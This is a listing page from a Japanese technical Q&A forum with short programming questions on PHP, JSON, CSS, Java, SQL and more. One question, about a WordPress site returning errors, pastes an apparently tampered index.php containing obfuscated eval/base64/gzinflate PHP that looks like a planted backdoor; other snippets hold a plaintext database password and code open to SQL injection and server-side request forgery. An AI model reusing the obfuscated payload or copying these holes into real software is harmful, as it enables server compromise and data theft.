[技術者向] コンピューター

全360572件中1~20件表示
  • VSCodeとJavaScript

    Visual Studio CodeとJavaScriptについて質問です。JavaScriptを練習するときブラウザーで実行していました。 JavaScript(JS)のコードは、Cloud9で書いています。 VSCode上でJSを実行して、動作確認する方法があるなら教えていただきたいです。

  • PHPでのJSONの使い方(2)

    PHPでのJSONの使い方(1)でコピーできなかったファイルをアップします。 宜しくお願いいたします。 *************** displayEnglish.php ******************* <!DOCTYPE HTML> <?php require_once "database.php"; global $cycle, $recordCount; ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=shift_JIS"> <title> display English</title> <script type="text/javascript"> function getData(){ //alert("total="+ total) var cycle = <?php echo $cycle; ?>; var total = <?php echo $recordCount; ?>; document.getElementById("saikuru").value= cycle; document.getElementById("kazu").value= total; var Rnumber = Math.trunc(Math.random()*total) + 1; document.getElementById("ransu").value= Rnumber; var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function(){ if(this.readyState == 4 && this.status == 200){ document.getElementById("state").value= this.readyState; document.getElementById("status").value= this.status; var myObj = JSON.parse(this.responseText); document.getElementById("Eword").value = myObj.english; } }; xmlhttp.open("GET", "getData.php?kagi=" + Rnumber , true); xmlhttp.send(); } </script> </head> <body> <h3> English</h3> cycle: <input size="6" type="number" id="saikuru" > total: <input size="6" type="number" id="kazu" > random: <input size="6" type="number" id="ransu" ><br><br> AJAX <input size="6" type="number" id="state" > <input size="6" type="number" id="status" ><br><br> <button onclick="getData()">click for next word</button> <br> <form method="POST" action ="displayJapanese.php" target="japanese"> <input type="hidden" name="cycle" value=" <?php echo $cycle; ?>"> <input type="text" size="50" name="Eword" id="Eword"> <input type="submit" value="Click to show Japanese"> </form> </body> </html> ***************** database.php ********************** <! DOCTYPE HTML> <HTML> <head> <meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS"> <title> database </title> <?php // global variables $host = "localhost"; $user = "root"; $pass = "rsi2018"; $database = "eitango"; $table = "words"; $connection; //============== connect to MySQL ================ $connection = mysqli_connect($host, $user, $pass, $database) or die("cannot connect to database"); $targetIDs = array();// each associative array of a record $index = array(); // array of all records above $targetIDs $query = "SELECT MAX(count) FROM $table";// get the maximum count vale as the current cycle $result = mysqli_query($connection, $query) or die("cannot get a result for the query1"); $row = mysqli_fetch_array($result); $cycle = $row[0]; if( $cycle==0){ $cycle = 1;} // only when the program is run for the first time $query = "SELECT * FROM $table WHERE count < $cycle"; $result = mysqli_query($connection, $query) or die("cannot get a result for the query2"); $recordCount=0; while($row = mysqli_fetch_assoc($result)){ foreach($row as $col=>$val){ $targetIDs[$col] = $val; } $index[$recordCount] = $targetIDs; $recordCount++; } $recordCount--; /* foreach($index as $num=>$data){ // データ転送確認 echo $num." -- "; foreach($data as $col=>$val){ echo $col." = ".$val." , "; } echo "<br>"; } */ mysqli_close($connection); ?> </head> <body> </body> </html>

    • ベストアンサー
    • 困ってます
    • papashiroSooke
    • PHP
    • 回答数 2
  • PHPでのJSONの使い方(1)

    MariaDBデータベースのテーブルの中身をJSON型式にしてAJAXを使って受け取り、<input> タグに表示させようとしていますが、上手く行きません。 データベース名はeitango, その中の唯一のテーブル名はwordsです。 以下に示すのがテーブルの構造と最初の9アイテムの例です。 MariaDB [(none)]> use eitango Database changed MariaDB [eitango]> describe words; +----------+--------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +----------+--------------+------+-----+---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | english | varchar(50) | YES | | NULL | | | japanese | varchar(100) | YES | | NULL | | | count | int(11) | YES | | NULL | | +----------+--------------+------+-----+---------+----------------+ 4 rows in set (0.159 sec) MariaDB [eitango]> select * from words where id<10; +----+----------------------+------------------+-------+ | id | english | japanese | count | +----+----------------------+------------------+-------+ | 1 | melee | 乱闘 殴り合い | 0 | | 2 | expletive | ののしり言葉 | 0 | | 3 | police cruiser | パトカー | 0 | | 4 | shut your bog | 黙れ | 0 | | 5 | police custody | 警察による拘束 | 0 | | 6 | heckle | やじる ののしる | 0 | | 7 | despondent | 失意の 落胆した | 0 | | 8 | disrepair | 破損状態 | 0 | | 9 | elephant in the room | 厄介なもの | 0 | +----+----------------------+------------------+-------+ 9 rows in set (0.045 sec) PHPを使って作りたいプログラムは、乱数発生させた数字によって、テーブル内のcount値が他の物より小さいものを選び出し<input> タグに英語を表示させ、 ボタンを押したら別フレームの<input>にその訳語である日本語を表示させるというものです。そして一旦選択されたものはcount値をアップします。 全体の作りとしてはindex.htmlで画面を上下に等分し、上のenglishフレームに乱数を発生して英単語を表示させるdisplayEnglish.phpを置き、 下のjapaneseフレームには上の日本語表示ボタンを押したときに呼ばれるdisplayJapanese.phpを置く予定ですが、こちらの方はまだ手を付けていません。 上のフレームに英単語を表示させる部分で行き詰まっているわけです。 AJAXで取得されるべきJSON型式のデータを作るgetData.phpか、 取得しようとしているdisplayEnglish.phpか、はたまた大本のデータを用意しているdatabase.phpか、色々試してみましたが、どこに問題があるのかわかりません。 以下に、関連のソースファイルをコピーします。全体が大きすぎて質問枠の4000字を超えるようなので2つの部分に分けてアップします。 どなたかアドバイスを頂けると大変ありがたいです。どうかよろしくお願いいたします。 ********** index.html ************ <!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=shift_JIS"> <title> E2J index</title> </head> <frameset rows="50%, 50%" frameborder="yes"> <frame src="displayEnglish.php" name="english" scrolling="yes"> <frame src="displayJapanese.php" name="japanese" scrolling="yes"> </frameset> </html> ****************** getData.php ****************** ?php require_once "database.php"; global $cycle, $recordCount, $index; $kagi = $_GET["kagi"]; $data = array(); foreach($index[$kagi-1] as $col=>$val){ $data[$col]=$val; } $Json_data = json_encode($data); echo $Json_data; ?> 他のファイルは PHPでのJSONの使い方(2)として質問します。

  • CSVファイルを読みこみ、プルダウンを連動したい

    こんにちは、 初心者で色々なサイトを参考に作成しているのですが、どれもうまくいかず、助けて下さい。 phpとjavascriptをを用いて csvを読み込みし、csvから連動したプルダウンを作りたいです。 例えば、csv からプルダウンにて 都道府県を選択し その都道府県の中から市町村を選択すると 何曜日が来場可能かが選択できるようにしたいのです。 test.csv 1,東京都,江戸川区,月曜日 1,東京都,江戸川区,火曜日 1,東京都,練馬区,水曜日 1,東京都,練馬区,木曜日 2,埼玉県,川口市,金曜日 2,埼玉県,川口市,土曜日 ーーーーーーーーーーーーーーーー <? function fmake_sel_opts($filename, $selected=0, $funcChk="",$name="") { //初期化 $idx=0; $htm=""; $listData=Array(); //ファイルの存在確認 if (!@file_exists($filename)) return false; //ファイルからリストデータを配列に読み込む $fp=@fopen($filename, "r"); while (!@feof($fp)) { $dat=@fgetcsv($fp, filesize($filename), ","); if(!$dat[0]) continue; $listData[$dat[1]][]=$dat[bin2hex()]; } while (!@feof($fp)) { $dat=@fgetcsv($fp, filesize($filename), ","); if(!$dat[0]) continue; $listData[$dat[0]][]=$dat[bin2hex()]; } @fclose($fp); if (!@is_array($listData)) return false; $htm="<select ".$funcChk." ".$name.">\n"; foreach ($listData as $k1=>$v1) { if (@is_array($v1) && $v1[0]!="") { /* グループ化 */ $htm.="<optgroup label='".$k1."'>\n"; $htm.='<option value="">都道府県で絞り込みます</option>'; foreach($v1 as $v2){ $htm.="<option value='".$k1."'".(($idx==$selected) ? " selected" : "")." style='margin-left:1em;'>".$v2."</option>\n"; $idx++; } $htm.="</optgroup>\n"; }else{ $htm.="<option value='".$k1."'".(($idx==$selected) ? " selected" : "").">".$k1."</option>\n"; $idx++; } } $htm.="</select>\n"; return $htm; } ?>

  • Skypeで、いきなり1200円支払いを?

    東京からロスの家電へ、20年前からスカイプを使っていました。今年の1月、突然使えなくなり、残高400円?あるのに? すると、画面が1200円の支払いに??すると、意義のある人はのメッセージを、息子が送ると3か月後に返金(スカイプに戻す)とのこと…その間、電話をしたかったので600円を払いスカイプを使用している。一向に1200円+400円?は戻らない。スカイプに1月30日にクレジットから支払いの記載も残っているが・・・・どこのどの様に解決を求めたらよいか困っています、スカイプで、WEB面会には色々使わせてもらっています。納得がいかないのですが 私だけではないです。

  • 文字の囲みボックスが中央に配置されません。

    文字の囲みボックスが中央に配置されません。text-align: center; をCSSのボックスのコードに追加しても、なぜか真ん中に行きません。 どうしたらよいでしょうか?回答よろしくお願いいたします。 付属画像のように真ん中に配置したいです。 コードは下にあります。 ◎HTMLのコード <!DOCTYPE html> <html> <head> <meta content="text/html; charset=utf-8" /> <title>お問い合わせ</title> <link rel="stylesheet" href="highcoin.css"> <style </style> </head> <body> <div class="box_css"> <p>次の注意事項を読んでください </p> </div> </body> </html> ◎◎cssのコード(high coin) /* 電話の際の注意事項ボックスのデザイン, */ .box_css{ width:100px; margin: 5em; border: solid 3px #f83c02; background-color: rgb(255, 255, 255); text-align: center; }

    • 受付中
    • すぐに回答を!
    • hayosat
    • CSS
    • 回答数 1
  • Dashでの時系列データのレンジスライダー

    PlotlyのDashライブラリで、Web上で時系列データを表示しようとしています。 横軸(時間軸)を動的に選択できるようにするサンプルなどご存じないでしょうか? このリンク先のような機能です https://www.grapecity.com/componentone/docs/win/online-flexchart/range-selector.html

    • 受付中
    • 困ってます
    • nsonoda
    • Python
    • 回答数 0
  • file get contentsが使用禁止だった

    ### 前提・実現したいこと file_get_contensがサーバーのセキュリティ上禁止だったのでcurlという関数で 「取り出したいデータのファイル」にある <div class="menu">から</div>までをget通信でedit.phpにurlを渡し、内容を取り出したいのですが、mb_subster等を使いとりだしを試みましたが分からなかったので取り出しかたを教えてください。 よろしくお願いします。 ソースコード <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>取り出したいデータのファイル</title> </head> <style> </style> <body> <form method="get" action="../edit.php"> <button type="submit" name="edit" value="<?php echo (empty($_SERVER['HTTPS']) ? 'http://' : 'https://').$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];?>">編集</button> </form> <div class="menu"> <h1>メニュー</h1> <p>カレー</p> </div> </body> </html> edit.php <!DOCTYPE html> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta charset="utf-8" /> <title>別のファイルを表示したいファイル</title> </head> <style> </style> <body> <?php echo $_REQUEST['edit']; $url = $_REQUEST['edit']; $conn = curl_init(); // cURLセッションの初期化 curl_setopt($conn, CURLOPT_URL, $url); // 取得するURLを指定 curl_setopt($conn, CURLOPT_RETURNTRANSFER, true); // 実行結果を文字列で返す。 $res = curl_exec($conn); echo ($res); curl_close($conn); //セッションの終了 ?> </body> </html>

    • ベストアンサー
    • 困ってます
    • dhtfyjh
    • PHP
    • 回答数 1
  • javaの描画関係のプログラムの考え方について

    昔からあるJavaの基本的なグラフィックスのプログラム(下方のサンプル)の構造の基本についてお尋ねします。 プログラムの構成を言葉で言うなら、 1 クラスの設定 2 クラス内部のメソッドの作成(コンストラクタ、paint, main) (mainはメソッドとは言わないかもしれませんが、クラスの中の実働部隊のトップということでそういう位置づけにしました。) ここで疑問ですが、 疑問1 paintメソッドですが、どのようにして呼ばれていると考えるのでしょうか。プログラムの中で呼び出されていないように見えます。 mainの中のw.setVisible(true)とかw.show()が描画せよ、というトリガーだと思いますが、paintを動かせとはストレートには読めません。 w.paint() とかだとTestクラスのオブジェクトwのメソッドpaintを動かしているということが示されるわけですが。こういうのがないですね。 疑問2 mainの中のFrame w=new Test()はTest w=new Test()でも動作しますが、これはあまり気にしなくていいでしょうか。 ---- 以下はプログラムの構造です。--- import 適当に public class Test extends Frame{ public Test(){ クラスと同じ名前なのでコンストラクタですね。 setSize(300,300);ウィンドウのサイズ指定 addWindowListener() などいろいろウィンドウのセッティング ウィンドウの閉じ方とか 描画のためのキャンバスの用意 } public void paint(Graphics g){ g.drawLine(0,0,200,200); 描画本体 この部分をいろいろプログラミングする } public static void main(String[] args){ メインなのでここがスタートライン Frame w=new Test(); オブジェクトを作って // w.show(); w.setVisible(true); 描け } }

  • Dockerが使えるNASを教えてください

    Intel系CPUのNASでDockerが使用できるものでなるべく安価なものはどれでしょうか。 用途としてはファイルサーバの予定です。

  • 2台PCのセキュリティ対策

    相談ですが、2台のPCを使用予定で、以下の環境に整えたいのですが、 必要な機器や接続方法について、アドバイスを頂けるとありがたく存じます。 現状: 集合住宅 LAN端子(回線):1箇所 1台目:Windows 7 (既存) 2台目:Windows 10(新規) 理想環境: 1台目:ニュースやサイト閲覧用、興味のあるソフトをダウンロードしたい 2台目:信用する特定のサイトのみ使用、安全用 希望条件:キーボードやマウスをなるべく少なくして使用。      セキュリティの為、両PC間を共有しない。 その他質問: ・1台目について、ウイルス等セキュリティ対策の為、OSをLinux Mintに変更したいと思います。  その場合、Linux Mintをインストールして起動すべきか、  Oracle VM VirtualBoxをインストールして、Windows上でLinux Mintを起動すべきか。

  • phpファイル

    phpファイル もしくはhtmlファイルをユーザーが編集できるようにするにはどのようにすればいいですか? ユーザー(会員登録かつログイン済み)のユーザーが投稿したファイルにユーザー名を書き込みます。 投稿ファイルに書き込まれたユーザー名とsession名が同じとき「編集」(書き込んだ文章を変更できる) ようにするにはどのようにすればいいですか?

    • ベストアンサー
    • 困ってます
    • dhtfyjh
    • PHP
    • 回答数 1
  • php foreach文

    以下の構文で、postされてきたデータが複数ある時、ファイルと置き換えれるデータが複数あっても初めの1つだけになってしまいます。 複数のデータを”ファイル”戸を着かえる方法を教えてください。 foreach($_POST['title'] as $key=>$title) { $files=str_replace("ファイル",$_POST['title'][$key].'</br>',$files); }

    • ベストアンサー
    • 困ってます
    • dhtfyjh
    • PHP
    • 回答数 4
  • SEO、競合他社サイトをクリックせずに見る

    SEO上、Google検索で競合他社サイトが表示されている状態で、クリックしたり閲覧したりすると、他社サイトの評価が上がるかと思います(少し)。クリックせずに、閲覧する方法はありますか? (Google 使わず別のエンジンで検索する、ブックマークからいく、とかでしょうか? それも影響しますかね?) (とくに現在、そのようにする必要がある状況があるわけではないのですが)

    • 受付中
    • 困ってます
    • spongetak
    • SEO
    • 回答数 1
  • 文字列を読み上げるプログラム(C言語)

    C言語で、ランダムに文字列(数字と文字の混合)を指定した文字数だけ生成し、それを読み上げるプログラムを作ろうと思っています。この内、読み上げるプログラムをどのように書けば良いのかわかりません。自分で音声を録音してその音声ファイルを読み込んで再生するという方法しかないのでしょうか?もっと良い方法をご存知でしたらご助言頂ければ幸いです。OSはUbuntuです。よろしくお願いします。

  • CSSが反映されない

    http://cus4.j-daa.or.jp/wordpress/news/ (テストの途中です) 下記を参考にカテゴリー毎に色分けするように設定しました。 https://rmtmhome.com/category-design-wordpress-1280 一つだけ表示できて、あとは表示されません。 「委員会」のCSS <span class="td-post-category cat committee">委員会</span> committeeがカラー指定です。 http://cus4.j-daa.or.jp/wordpress/wp-content/themes/jdaa/style.css?ver=1 7309行目に「.committee」があります。 なぜ反映されないか、ご教鞭ください。 宜しくお願いします。

    • ベストアンサー
    • すぐに回答を!
    • nkmyr
    • CSS
    • 回答数 1
  • Cドライブでバッテリーの状態を見たい

    中古のパソコンを買ったのでバッテリーの状態を見ようと検索をした結果バッテリーリポートで C:¥Users¥user¥battery-report.html   に保存されたとなりましたがその場所が解りません。 初歩的なことで恥ずかしいのですがご教示お願いします。

  • wordpressのindex.phpが改竄?

    初めての投稿です。amazonのlighsailでwordpressのサイトを構築したのですが、昨日突然500エラーでアクセスできなくなりました。管理画面にもサイトにもアクセスできずに以前取得したスナップショットから作り直したのですが、復旧後、数時間して再びアクセスできなくなりました。色々調べていて、以下のファイルが書き換わっているように感じるのですが、これはもしかしてクラッキングされていますでしょうか。。。もしかしたらバックドアも設置されているのかもと思いとても不安です。 すみませんが、クラッキングされているかどうかと今後の対策を教えていただきたいです。 改竄の可能性があるファイル: /opt/bitnami/apps/wordpress/htdocs/index.php ファイルの中身 <?php include('block.php'); $i1i='======================================================================== Obfuscation provided by Unknowndevice64 - Free Online PHP Obfuscator =============================================================================='; $uD64_c0m="\163\164\x72\x5f\162\x6f\164"."13";$uD64_Com="\147\x7a\151\x6e\x66\x6c\141\164\x65";$uD64_C0m="\142\x61\x73\145 64\x5f\x64\x65\143o\144\145";$x0zRy=$uD64_Com($uD64_C0m($uD64_c0m("QMUYqcfjNRD/lOfcO9qz0DHigMXDOUdOiLiOZDXy0WtTj9rKU5t7q0o eNEY1KBfRCxtl3+EzF6AzmVLzjXbp6aG0+rO57bMB9GXdmKuvd7+cCtdWo0YpD6E1rZ9gRVcgHzH0pDznbjHuX9oKwnDiMAGeLyqj0i6kIPx0y+EXkTN6CGEav lOG6sIncnDHPsQRj1WLpBO9+27J7VfCfxxT8X2F7f5KggWx+rXcrEZcCuzCPcSZA6zm7lXYSKKao9b/yubSNq0mGLdCiYrgtqAiaoP/gD+kGAyJtNiIAaQyuw6 bWqDPxtxHb9VSz3RxI76m2V7/kULOqFYidwrugINmBC7yNY4o0klfQ7jSM0Og05TZ1+Vk8q1snhsoLhZI7+Z7TocJj2mYjDtckNArjpVFv/IdsgEjBMEIeCYgs WVBiXe1CPx0l9mBZIakWRQ0hKhiAPBH6WzJr3+d0VC3ESRDvfbqWKAf4rokYXOUArbdchM9DktoU0LLbVrj87gjPWpTwAWBuBzSngAqBGbXf4V37cgEbyNJ6NV dAKtPzxPyeIDDs9YgQP4VkezkB7h9J4qd5nnoDR9V7COMoKvbGSgJh3scb5xcttvHUmHVAd6LZ703AIw+5Pw44hi0VHTo52zpXNIN4oWDnEzKloUns2Bds/Mff RYe6TE7sR5pklgtQvd1A/bJ+scKEP/E+CZ/")));@eval($uD64_c0m('$k0xEm="MIKoogf4RC2IbhuQv7kDwh0xXNdfYMTcYdESpbnBQY8Hmd5fHdaGyIgqi a7Uqv8C+2NL5CNZm5xmUY0oJYGcC70ST75dfJPT8n4L09plzsdIFT/GjJPEBYBBVlvth0aUiIBQaQd/b7v+mqwFesNFGlE0eElKSU9rhCcISpWcgTjfemtxKUN kT3YEiuWBX/68yCM+lX/kc0g86NHXscVQ3cpUBGBj85aDW+ARSDq2Ztq2KlFlD9tE390cp0gGJZa0LJnyd9iZAcKvPeJ/4ScUhNXeJEy3bkYIJp+6jNfie6QYN nn+iBcpS/nft01JSk37dj6dQ7e6cRq+hqqq7d0bY90Y8hSnW32gR6GUqsrdpiiZZGTseMH/5PRjMqKPWr6mpsYx6A7ltR3hwpippMVkoNchAzfVGD58oud+y2T wcB0nnoSGQo6F7eavbISB7yCYNz0mj3TDfBgKxRoFuwgQqInjnjes+gGgEuK6QrRsZduhQpv5jsOQ2L2PWV1XglCqKIuQBapviPu8mcEspdEmTEWsZT6qBSst7 fRW7dJKr+K5cUFYFR+JGwXmV33pRI8IVv2QwvmcYzA8fRCap8N2N7rEQHM26ASMoOKU76gD9poeS4Ow5PQ6bbXrFKQPPVkVq1/T+aGTy7QbZmOCcWhcjCd8jK5 AsWJqZwsjHE00+qNVFK2vVUlGbTeaf0sR9g4VmzDjFfXZT1rCWb6dSrW+sMv+TXumfA2xRWdcWZlcCcUlwaGKq9aVwjeVA9PZ6wOD3p/phO2mEkQ1DSbw0v1xj e2lZaXADQznQFkV9jSs8kTQj3oZzXyXjAana57Vj7yx6OKKHD4aDK53cUILrLCeERLeVC9gzXjTg1F2vmYUOjKAJsr9fgtbkVppcbk8w/DtPfWyqfGoNxXUV+4 IIN+LHTHkmUQxH4a6IL36kHX4ZooKuGrvTA3wRjolT4ZHLMnEa4JiMfJMN9O9moWnZsVW5ZGn7bMpGrIV/OZqRSzaNi9KPExIKw0P8UfQYOGkEvy631Xb5EeBs qX2FbFbCWwa3YqAEwtKry16b6wBY9GKmNKrlbM8FacUp2nvJCurObkVkjGqLaFPAnE7Vtq2FmvBb3Tycs4vidKLYTIPojMbCbUEEHm8LY+2HRKHe0qSeLnHA7s IDknmgiEd6Ho5yq7WJKrGtz4ILSrT3Fxs0jzv7dv2K2Iv1NbJxlsOwcc132EpEp7KR+G17/zxoR0qfitme6wR+FUg13UK5X5zBvj5mnz99ABzhhQZ+IlJQfsOp BcASgHe2Z00gNsA9H068VS0Zk3sQ9KCArxzi0kXp2AkzEhDsxf9mn0LK9qr/8DWJjMIJ3iW+93SDcELAENsQm/a3urSJs1x6/Z6Yj9asfrW/Z1iWhjsKqadS46 SbsDMi+DIoI4gwc/rsama2oNWa95hb+aggc//f41z821/A6s1wC4a22t+3sLm2c+s1/Fw9FH2i6Jmq7/JyBajBkBucuTqCzrporsm7n8p0+yy53/Li/7+8nI58 /7Ayp37n6e37l5seN8sCam8Qj==";@riny(tmvasyngr(onfr64_qrpbqr($k0xEm)));'));

  • ランキング機能の実装

    group byを使って、詳細テーブルを集計してランキング表示するためのSElECT文を作成しています。購入数の多い順に商品を表示させるには、以下のSQL文をどのように修正すればいいですか? $sql = " SELECT details.item_id, details.price, details.amount SUM(details.price * details.amount) AS total, items.name FROM details JOIN items ON details.item_id = items.item_id GROUP BY details.item_id, details.price, details.amount, items.name ORDER BY amount ";

    • 受付中
    • 困ってます
    • OBAKEI
    • PHP
    • 回答数 1
  • 変数 php

    スーパーグローバル変数はそのままでは文字列扱いにならないのでしょうか? 下記のように書くと 「htmlspecialchars()は第一引数は文字列である必要があります。」と出てしまいます。 str_replace("たいとる",htmlspecialchars($_POST['title'] ,ENT_QUOTES),$files); 以下の構文(sql)は動きませんでした。 $stmt="select * from $_POST['title'] "; 両方とも、変数に置き換えて再度書き直すと正常に動きました。 例、 $title=$_POST['title']; str_replace("たいとる",htmlspecialchars($title,ENT_QUOTES),$files);

    • ベストアンサー
    • 困ってます
    • dhtfyjh
    • PHP
    • 回答数 2